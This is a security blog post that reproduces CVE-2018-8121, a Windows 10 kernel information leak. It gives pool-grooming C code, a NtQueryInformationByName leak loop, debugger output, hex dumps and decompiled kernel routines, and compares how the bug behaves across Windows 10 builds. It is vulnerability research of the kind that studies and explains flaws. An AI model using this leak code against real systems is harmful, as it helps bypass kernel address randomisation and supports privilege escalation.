I have not written for a long time… It’s nothing new, but it made me want to write something for the blog.
I was reading the 44con’s talk: “Subverting Direct X KernelFor Gaining Remote System”[1] And I said myself, I’ll try to do the infoleak, CVE-2018-8121[2].
CVE-2018-8121
The infoleak consists in get uninitialized memory in a userland buffer. When We reserve memory in the Nonpaged pool using nt!NtAllocateReserveObject
function and free that pool chunk to alloc a new pool chunk, a nt function pointer remains in it.
By calling nt!IoQueryInformationByName
the whole content of that pool chunk could be read in a userland buffer.
0: kd> !pool ffffe781aa2c5150 unable to get nt!ExpHeapBackedPoolEnabledState Pool page ffffe781aa2c5150 region is Nonpaged pool ... *FFFFE781AA2C50F0 size: c0 previous size: 10 (Allocated) *IoCo
when it has been freed:
0: kd> !pool ffffe781aa2c5150 Pool page ffffe781aa2c5150 region is Nonpaged pool ... *FFFFE781AA2C50F0 size: c0 previous size: 10 (Free ) *IoCo 0: kd> dps ffffe781aa2c5150 ... ffffe781`aa2c51e0 fffff800`440dfa90 nt!PspIoMiniPacketCallbackRoutine
Below I show the steps for doing what was described above:
Alloc a pool chunk and free some, leave free chunks with 0xC0
size.
for (int i = 0; i < 0x7000; i++) { NtAllocateReserveObject(&phReserve1[i], NULL, IoCo); } for (int i = 0; i < 0x700; i++) { CloseHandle(phReserve1[i * 0x10]); } for (int i = 0; i < 0x7000; i++) { NtAllocateReserveObject(&phReserve2[i], NULL, IoCo); } for (int i = 0; i < 0x700; i++) { CloseHandle(phReserve2[i * 0x10]); }
Alloc in the same free pool chunk.
again: char arg2[0x200] = { 0 }; char arg3[0x200] = { 0 }; OBJECT_ATTRIBUTES objattr = { 0 }; NtQueryInformationByName(&objattr, (PIO_STATUS_BLOCK)arg2, arg3, 0xB0, (FILE_INFORMATION_CLASS)0x44); /* FileStatInformation */ DT leak = *(DT *)(arg3 + 0x90) printf("pointer leak 0x%llx\n", leak); for (int i = 0; i < 0x30; i++) { NtAllocateReserveObject(&phReserve3[i], NULL, IoCo); } for (int i = 0; i < 0x30; i++) { CloseHandle(phReserve3[i]); } if( /* heuristic */){ return leak; } goto again;
If we succeed, the pool chunk allocated is the same chunk.
1: kd> g Breakpoint 1 hit nt!IoQueryInformationByName+0x1b9: fffff800`442b37d9 e87250b4ff call nt!IopVerifierExAllocatePoolWithQuota (fffff800`43df8850) 1: kd> p;r rax rax=ffffe781aa2c5150 1: kd> dps ffffe781aa2c5150 ... ffffe781`aa2c51e0 fffff800`440dfa90 nt!PspIoMiniPacketCallbackRoutine
And we can got the nt!PspIoMiniPacketCallbackRoutine
virtual kernel address in our user-land buffer.
00000072C236FBE0 00 00 00 00 00 00 00 00 00 00 00 00 00 F8 FF FF .............øÿÿ 00000072C236FBF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000072C236FC00 03 00 09 0E 49 6F 20 20 69 E8 49 5C 8F E6 26 2A ....Io ièI\.æ&* 00000072C236FC10 48 00 00 00 00 00 00 00 1C 00 00 00 E8 03 00 00 H...........è... 00000072C236FC20 00 00 00 00 3C 00 00 00 00 00 00 00 00 00 00 00 ....<........... 00000072C236FC30 50 F7 F9 8C 6A 00 00 00 00 00 00 00 00 00 00 00 P÷ù.j........... 00000072C236FC40 3C 00 00 00 00 00 00 00 00 00 00 00 50 F7 F9 8C <...........P÷ù. 00000072C236FC50 6A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 j............... 00000072C236FC60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000072C236FC70 90 FA 0D 44 00 F8 FF FF A0 51 2C AA 81 E7 FF FF .ú.D.øÿÿ Q,ª.çÿÿ 00000072C236FC80 00 00 00 00 00 00 00 00 78 00 65 00 00 00 00 00 ........x.e.....
How is this possible?
The nt!IopVerifierExAllocatePoolWithQuota_3
function alloc a pool chunk with a size controlled by us, calling nt!ObOpenObjectByNameEx
fails,
and the pool chunk is not sanitized. Finally the pool chunk content is copy to our user-land buffer, getting an nt address infoleak.
nt!IoQueryInformationByName (win10 1709) ... if ( (unsigned __int64)user_buffer <= 0x7FFFFFFEFFFFi64 ) P = (PVOID)IopVerifierExAllocatePoolWithQuota_3(v13, _size); else P = user_buffer; v17 = __readgsqword(0x188u); ++*(_QWORD *)(v17 + 1464); __incgsdword(0x2EE4u); v18 = ObOpenObjectByNameEx((__int64)IoFileObjectType, v10, (__int64)Src, v11, 0i64); IopCleanupExtraCreateParameters(&Dst); if ( v22 == 0xBEAA0251 ) v18 = v21; v19 = P; if ( user_buffer != P ) { memmove(user_buffer, P, (unsigned int)Size); ExFreePoolWithTag(v19, 0); }
Does it work in all Windows 10 version ?
No. If we see the description in the Windows advisory page[2], the infoleak exists in windows 10 1703, 1709 and 1803, but it doesn’t work in all mentioned versions.
Windows 10 1703
In this version something curious happens, in the function’s prologue. If the calling is from user-mode[3][4] only return a error code X_X.
__int64 __fastcall IoQueryInformationByName(... { ... PreviousMode = KeGetPreviousMode(); /* [3][4] */ if ( PreviousMode ) /* KernelMode = 0, UserMode = 1*/ return 0xC00000BBi64;
Windows 10 1709
It works perfectly! The reason was mentioned above.
Windows 10 1803
When nt!ObOpenObjectByNameEx
function fails, in 1709 nothing happens, but in 1803 the behaviour is different, that function return an error code in int v19
, for example 0xC000000D
. So, verification (v19 >= 0)
is not fulfilled, and the pool chunk is never copied to our user-land buffer.
v19 = ObOpenObjectByNameEx((__int64)IoFileObjectType, arg1, 40i64, v11, 0i64); IopCleanupExtraCreateParameters(&Dst); if ( v24 == 0xBEAA0251 ) v19 = v23; v20 = P; if ( user_buffer != P ) { if ( v19 >= 0 ) memmove(user_buffer, P, (unsigned int)Size); ExFreePoolWithTag(v20, 0); }
I tried to comply with the condition setting “correct” arguments.
RtlInitUnicodeString(&wzObjectName, L"\\DosDevices\\C:\\WINDOWS"); InitializeObjectAttributes(&objattr, &wzObjectName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, NULL); NtQueryInformationByName(&objattr, (PIO_STATUS_BLOCK)arg2, arg3, 0xB0-2, (FILE_INFORMATION_CLASS)0x44); // FileStatInformation
And the calling to nt!ObOpenObjectByNameEx
fails, too! :(, but v24
is being setted with 0xBEAA0251
const, then the condition is fulfilled (v24 == 0xBEAA0251)
and v19
is setted to 0. How does this happen? I don’t know.
I tried setting a hardware breakpoint on read/write but it never stopped when that value was written :(. If you know, please tell me. So, the pool chunk contents is copy to our user-land buffer! but it wasn’t satisfactory.
0000002C654FF840 14 06 00 00 00 00 01 00 16 29 0C B1 D8 D1 D3 01 .........).±ØÑÓ. 0000002C654FF850 1E 1A ED 56 7A 11 D5 01 46 4F 3A 14 C8 BC D4 01 ..íVz.Õ.FO:.ȼÔ. 0000002C654FF860 46 4F 3A 14 C8 BC D4 01 00 70 00 00 00 00 00 00 FO:.ȼÔ..p...... 0000002C654FF870 00 70 00 00 00 00 00 00 10 00 00 00 00 00 00 00 .p.............. 0000002C654FF880 01 00 00 00 A9 00 12 00 00 00 00 00 00 00 00 00 ....©...........
I think those values are result of request and same result is in windows 10 1709.
All credits to RanchoIce.
[1]https://github.com/RanchoIce/44Con2018
[2]https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8121
[3]https://github.com/Zer0Mem0ry/ntoskrnl/blob/a1eded2d8efb071685e1f3cc59a1054f8545b73a/Include/ntosdef.h#L126
[4]https://doxygen.reactos.org/d7/deb/xdk_2ketypes_8h_source.html
No Comments Yet